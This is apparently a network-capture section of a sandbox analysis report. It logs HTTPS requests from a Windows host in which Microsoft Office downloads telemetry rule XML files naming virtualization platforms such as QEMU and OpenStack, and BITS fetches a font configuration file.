2024-11-21 21:04:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:40 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:41 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:41 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 907655e5-001e-0065-594b-3c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210441Z-15b8b599d886w4hzhC1TEBb4ug00000000gg00000000642c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:04:41 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:41 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:41 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: ba3f3383-a01e-000d-6e55-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210441Z-15b8b599d886w4hzhC1TEBb4ug00000000c0000000005w4e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:04:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:41 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3585b350-301e-005d-097c-3be448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210441Z-178bfbc474bh5zbqhC1NYCkdug00000001ug0000000135uu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	49782	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:42 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-21 21:04:42 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=157208 Date: Thu, 21 Nov 2024 21:04:42 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-21 21:04:42 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:43 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:43 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c2cadd2f-601e-0001-2bab-3bfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210443Z-r1d97b995774n5h6hC1TEBvf840000000aw000000000e28d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:43 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:43 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:43 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210443Z-1777c6cb754j47wfhC1TEB5wrw00000007d000000000sf1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:43 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:43 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:43 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:43 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 43d09947-101e-005a-2421-3c882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210443Z-178bfbc474bscnbchC1NYCe7eg000000022g00000000wkv0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:43 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:43 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:43 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2deeee2f-b01e-001e-4967-3b0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210443Z-178bfbc474bgvl54hC1NYCsfuw00000002200000000057d4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:43 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:43 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:43 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210443Z-1777c6cb754gvvgfhC1TEBz4rg0000000bp000000000qxfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:44 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:45 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:45 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:45 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 4ad18980-501e-008c-067e-3bcd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210445Z-174c587ffdfcb7qhhC1TEB3x7000000000gg000000008scd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:04:45 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:45 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:45 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 606a4207-501e-005b-157e-3bd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210445Z-1777c6cb7549j9hhhC1TEBzmcc0000000bdg0000000115np x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:46 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:45 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:46 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:45 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: f3939d66-c01e-00ad-3d3c-3ca2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210445Z-178bfbc474bv7whqhC1NYC1fg4000000022g000000005yqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
